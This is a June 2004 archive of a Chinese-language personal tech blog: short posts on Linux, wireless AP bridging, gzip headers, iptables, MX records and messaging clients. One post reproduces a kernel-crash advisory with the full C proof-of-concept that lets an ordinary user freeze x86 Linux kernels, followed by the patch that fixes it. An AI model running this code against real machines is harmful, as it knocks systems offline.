June 2004 Archives

MSN 暱稱長度

user-pic
Vote 0 Votes

MSN 暱稱最長可到 129 個 unicode (即不分中英文),
用 Gaim 可以設定超過這限制,
但是......會立刻斷線

B2D Linux

user-pic
Vote 0 Votes

Google search 電腦 不關機 多少 電費 度
可以找到一些 thread

電腦用電, 大概介於 100-200W 間, 以較貴的夏季用電一度 2.7元來估算
100W 一個月電費 100x24x30/1000x2.7=194.4

綜合來說, 一台電腦一個月電費大概在 200-400 間, 不算多

AP 進階應用

user-pic
Vote 0 Votes

一個功能完整的 AP, 必須具備以下五種 mode
* AP
* Point to Point bridge
* Point to Multi-Point bridge
* Repeater
* AP Client

* AP
這個大概不用多做解釋, 每台 AP 都具有的功能, client 使用 Infrastructure 方式連接 AP

* Point to Point bridge
點對對橋接
應用實例: 兩棟大樓間的網路橋接
設定: 兩台 AP 必需設定對方的 MAC, 及使用相同的頻道, 同一個 ESSID

* Point to Multi-Point bridge
點對多對橋接
應用實例: 兩棟以上大樓間的網路橋接
設定: 設定點對多點的 AP 必需設定基他連線 AP 的 MAC, 其他 AP 也必需設定主 AP 的 MAC
所有 AP 需使用相同的頻道, 同一個 ESSID

* Repeater
延續 AP 的訊號
應用實例: 中間有阻隔的兩間辦公室, 在走郎處架設 Reapter, 延續 AP 的訊號
設定: Repeater 需設 root AP 的 MAC

* AP Client
AP Client 可接在傳統的 ethernet device, 使之能以無線方式連接
應用實例: AP Client 連接 Hub, 讓另一區的 LAN 能透過無線方式串接
設定: AP Client 需設 root AP 的 MAC, 使用同一個 ESSID

ref.
http://www.big5.tomshardware.com/howto/03q1/030129/wireless-02.html

Gaim 0.79

user-pic
Vote 0 Votes

這個版本加入新增兩項重要功能
MSN 傳檔
MSN 大頭照, 目前並不會自動更新, 只有對方傳訊過來時才會顯示大頭照, 或者手動按更新好友圖示

其他
修正 Yahoo protocol 異動, 使能 login Yahoo Messenger

Download

Internet Domain Codes

user-pic
Vote 0 Votes

gzip file header

user-pic
Vote 0 Votes

RFC 1952

把一個 gzip file 前 10 bytes dump 下來

1f 8b 08 00 b8 8e ea 3f 00 03
+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG| MTIME |XFL|OS |
+---+---+---+---+---+---+---+---+---+---+

ID1 ID2 固定是 1f 8b, 作為 gzip format 的識別
CM 是壓縮方式, 需填 08
FLG 是一些參數的 flag, 一般為 0, bit 5-7 reserved (Reserved FLG bits must be zero.)
MTIME 是最後異動時間, 單位秒, 相當於 date +%s
XFL 是其他參數, 一般為 0
OS = 03 = Unix

[Shell] cat << EOF > file

user-pic
Vote 0 Votes

使用 cat << EOF > file 時, 結束的 EOF 要獨立一行, 後面也不能有 space, tab

Skype for Linux

user-pic
Vote 0 Votes

Download

已測試過傳訊部分, 中文相容, 不錯
還沒試語音部分, 因沒沒裝 audio driver, 不曉得找不找得到

MIC 的部分, 也還沒試過

ref.
Advanced Linux Sound Architecture (ALSA)
Open Sound
http://www.linux.org.tw/CLDP/OLD/Sound-HOWTO-4.html

REALbasic

user-pic
Vote 0 Votes

REALbasic is a cross-platform VB like language

http://www.realsoftware.com/realbasic/indepth/

REALbasic is the powerful, easy to use tool for creating your own
software for Windows, Macintosh and Linux.

Download

Screen Shot

The lck Kernel patchset

user-pic
Vote 0 Votes

The lck patchset includes a lot of patches, good.
Extra feature patches:
Supermount-NG
Bootsplash
File system extended attribute support
POSIX ACLs
NFS ACL support
ACL security attribute support
new NTFS file system

StarDict

user-pic
Vote 0 Votes


http://stardict.sourceforge.net/

最近裝了 stardict 才知道, 它有 highlight 即時翻譯的功能, 真好用!

以 Mandrake 10 為例, 至少要裝主程式, 英翻中檔, 中翻英檔
stardict-2.4.2-5mdk.i586.rpm
stardict-xdict-en-zh_TW-2.4.2-1mdk.noarch.rpm
stardict-xdict-zh_TW-en-2.4.2-1mdk.noarch.rpm

WineX

user-pic
Vote 0 Votes

WineX = Wine + DirectX
Transgaming 這家公司發展, 可以在 linux 下玩 game

Windows 軟體在 Linux 上的替代方案 (Windows 軟體、Linux 軟體對應表)
The table of equivalents / replacements / analogs of Windows software in Linux.

SEEDNet Wagaly Talk

user-pic
Vote 0 Votes

Wagaly Talk 深入剖析 by Luke

http://home.kimo.com.tw/luke16888/wagaly.htm

寫得很專業

Cosplay

user-pic
Vote 0 Votes

Cosplay 這個字在字典查不到
意思是真人模仿漫畫、卡通、電玩中的人物, 從日本開始風行的文化
通常翻作真人模仿秀、真人秀、角色扮演

Cosplayer 當然就是指扮演的那個人

參考網站

資料來源 Bufflo tech

WBR系列(WBR-G54、WBR-B11)、WLA系列(WLA-G54,WLA-G54C)AP具有
WDS中繼/漫遊/無線橋接功能。
一般情況下,我們建議的作法是利用WBR系列連接您的網際網路寬頻,
當您的無線Client端與AP的距離太遠或是兩者間有障礙物阻隔造成訊號微弱時,
可利用WLA作為中繼端將原來WBR的訊號再生,以獲得較好的無線連線品質。
當然,以WBR來作為中繼也可以,只是在相同網段下,
同時有兩個DHCP Server且兩部的IP均相同,在設定上較為麻煩且會浪費了WBR的功能。

※ 要成功的將兩部AP設定無線橋接/中繼/漫遊的要件如下:
兩部AP的LAN IP Address設定為同網段之不同IP (例如:192..168.11.×)。
兩部AP的WDS功能均需 "Enable"。
兩部AP的Wireless MAC Address應互相抄寫。
兩部AP的WEP Key必須相同 (請參閱說明書設定)。
兩部AP的Channel必須相同 (請參閱說明書設定)。
兩部AP的ESSID必須相同方可達成漫遊功能 (請參閱說明書設定)。
兩部AP之間的距離必須小於50公尺 (ie.要在可互相收到對方訊號的範圍內)。

javascript wb.exec(?,?)

user-pic
Vote 0 Votes

WB.ExecWB(1,1) 打開
WB.ExecWB(2,1) 關閉現在所有的視窗
WB.ExecWB(4,1) 儲存網頁
WB.ExecWB(6,1) 列印
WB.ExecWB(6,6) 直接列印, 不出現選擇印表機設定畫面, IE7 無效, 適用 IE6 以下
WB.ExecWB(7,1) 預覽列印
WB.ExecWB(8,1) 設定列印
WB.ExecWB(10,1) 查看頁面屬性
WB.ExecWB(15,1) 撤銷
WB.ExecWB(17,1) 全選
WB.ExecWB(22,1) 重新整理
WB.ExecWB(45,1) 關閉視窗無提示
使用這些功能 網際網路選項 啟始不標示為安全的 ActiveX 控制項 必須啟用
或者 設為 低安全性

ref.
http://www.pcsky.cn/article/list.asp?id=791

這大概是 linux kernel 有史以來最嚴重的問題, 幾乎所有版本都有這個缺陷
我試了一台 Mandrake 9.2 的機器, 用一般 user 權限跑 crash kernel 的程式,
馬上見效
修正方法
修正 include/asm-i386/i387.h
asm volatile("fwait"); \
改成
asm volatile("fnclex ; fwait"); \

新的 2.6.7 已修正這個問題

http://linuxreviews.org/news/2004-06-11_kernel_crash/index.html

Published 2004-06-11 by xiando, v2.2.4, last updated 2004-06-15.

A bug lets a simple C program crash the Linux kernel, effectively
locking the whole system. Affects both 2.4.2x and 2.6.x kernels
on the x86 architecture.

The kernel is the most important part of the Linux operating system.
It handles communication with the computers hardware and decides
the priority of running programs (processes). If the kernels stops
doing it's job, everything else will too.

※ The Evil Code

Running this simple C program crashes the Linux kernel.

crash.c.txt
http://linuxreviews.org/news/2004-06-11_kernel_crash/crash.c.txt

  #include 
  #include 
  #include 

static void Handler(int ignore)
{
char fpubuf[108];
__asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1);
__asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}


This bug is confirmed to be present when the code is compiled with
GCC version 2.96, 3.0, 3.1, 3.2, 3.3 and 3.3.2 and used on Linux
kernel versions 2.4.2x and 2.6.x on x86 and amd64 systems.

掃 曲線

user-pic
Vote 0 Votes

有一個檔的內容是


曲線

在 linux 下, LC_CTYPE 設 en_US 的話
grep 掃 file 的結果, 兩個都能找到, 因為"曲"的後半+"線"的前半剛好等於"掃"
只要設 LC_CTYPE=zh_TW 就能讓 grep 認得中文
grep 掃 file 的結果, 就不會出現"曲線"

但是在 FreeBSD 下我試不出來, setenv LC_CTYPE zh_TW 還是 zh_TW.Big5 後,
還是沒效果

Mouse Gestures

user-pic
Vote 0 Votes

Mozilla, Firefox 支援滑鼠手勢, 工具/擴充套件 線上安裝 All-in-One Gestures

http://optimoz.mozdev.org/gestures/installation.html

Options of All-in-One Gestures screen shot

常用的和 MyIE 大致相同

按右鍵上 開新 tab
按右鍵下 開新視窗
按右鍵左 上一頁
按右鍵右 下一頁
按右鍵上左 上一個 tab
按右鍵上右 下一個 tab
按右鍵下右 關閉視窗
在link上, 按右鍵上, 開在新的 tab

中文化辭彙搜尋

user-pic
Vote 0 Votes

幫 cpatch 寫的一個 search 介面

http://glossary.pank.org/

My Desktop

user-pic
Vote 0 Votes

Desktop 1

rxvt + joe 寫 code, 編輯
Mozilla firefox 瀏覽網頁

Desktop 2

Mozilla thunderbird 收發郵件
gnome-terminal 上 BBS
gaim 使用 MSN, ICQ

header("Content-type:application");
header("Content-Disposition: attachment; filename=file_name");
//file_name是預設下載時的檔名,可使用變數。
readfile("file");
//file是實際存放在你硬碟中要被下載的檔案,可使用變數。
exit(0);

ref.
http://dob.tnc.edu.tw/themes/old/showPage.php?s=3221&t=1

GNOME 取消視窗動畫

user-pic
Vote 0 Votes

這個設定找好久, 原來中文翻譯翻得不好, 容易讓人誤解
Mandrake Linux
系統/設定/GNOME/進階/面板
取消 抽屜及面板可平滑移動

ClamAV for Win

user-pic
Vote 0 Votes

http://www.clamwin.com/

ClamWin Antivirus is an Open Source (free) Virus Scanner Toolkit for Microsoft Windows NT/98/Me/2000/XP/2003. It provides User Interface to Clam AntiVirus scanning engine.

Change Email

user-pic
Vote 0 Votes

因為
1. pank@ms12.hinet.net 廣告信太多
2. 每個月還要付 80 元

所以就把 HiNet 退租
新信箱是 pank@pank.org

最近 GoDaddy 提供 domain 的免費附加服務: Email forward
可以把 user@domain 的 mail 轉到其他地方

MX 設定
IN MX 0 smtp.secureserver.net.
IN MX 20 mailstore1.secureserver.net.

再到 Godaddy 的網頁上設定 Email forward, 沒有先做好上面的 MX 設定, 檢查 MX 時就會 pending

自架 mail server 時, 可利用此功能, 等於是有備援的機制
在設定 MX 時, 要先照上面的設定, Email forward 設完後再來改 MX

IN MX 0 mx1.pank.org.
IN MX 5 mx2.pank.org.
IN MX 10 smtp.secureserver.net.
IN MX 20 mailstore1.secureserver.net.

如此 mail 會先 try mx1, mx2 (自架的 mail server), 若掛了, 會 try godaddy 的 server,
進而 forward 到你指定的 mail, 這樣一來, 就不用擔心自架 server, 而 mail 收不到的情形

i18n (linux)

user-pic
Vote 0 Votes

編輯 LANGUAGE 參數 in /etc/sysconfig/i18n
就可讓支援 i18n 的軟體秀出不同語系

LANGUAGE=zh_TW.Big5:zh_TW:zh_HK:zh
LANGUAGE=en_US

MT 3.0

user-pic
Vote 0 Votes

個人用五人版要 $99.95, 真是貴
http://secure.sixapart.com/

IP locator

user-pic
Vote 0 Votes

Enter IP and tell you location (country)

http://spamid.servebeer.com:8081/servlet/iplocator

8M/640K ADSL

user-pic
Vote 0 Votes

HiNet 6/1 出了 8M/640K ADSL, 怪的是竟然比 2M/512K 還便宜,
不曉得是不是初期不保證頻寬的關係?
http://www.promotion.hinet.net/

速率
HiNet上網費
ADSL月租費
合計
256K/64K
250元
300元(註1)
550元
1M/64K
375元
410元
785元
2M/256K
420元
440元
860元
2M/512K
549元
699元
1248元
3M/640K
1200元
949元
2149元
8M/640K
550元(註2)
650元
1200元

還有調 window size 才能得到最佳效能
http://ccs.hinet.net/adsl/Adsl_TCP_1536.html

iptables rule issue

user-pic
Vote 0 Votes

內部網路環境 192.168.0.0/24, 要阻檔內部連外的 tcp port 2000-20000
使用下面這個 rule , 看似正確, 而嚴格說起來這樣的 rule 是有問題的
iptables -A FORWARD -p tcp --dport 2000:20000 -j DROP

為什麼?
因為有可能誤檔回來封包的連線, 有一個連線 sport 3000, dport 80
這封包就出得去, 但是回不來, 因為回來的封包符合上面的 rule
正確的做法應該用
iptables -A FORWARD -s 192.168.0.0/24 -p tcp --dport 2000:20000 -j DROP

robots.txt

user-pic
Vote 0 Votes

disable webcrawler (ex. googlebot) access your page
http://www.robotstxt.org/wc/norobots.html
http://www.google.com.tw/intl/zh-TW/faq.html#robots

http://sourceforge.net/projects/yellowtipws/
http://www.yellowtip.com/

YellowTip Web Server is a professional and easily installable package of Apache2, PHP4, MySQL4, phpMyAdmin and Zend Optimizer for the Win32 platform. With the all-in-one installer, all components are installed in a single directory. Uninstaller included

About this Archive

This page is an archive of entries from June 2004 listed from newest to oldest.

May 2004 is the previous archive.

July 2004 is the next archive.

Find recent content on the main index or look in the archives to find all content.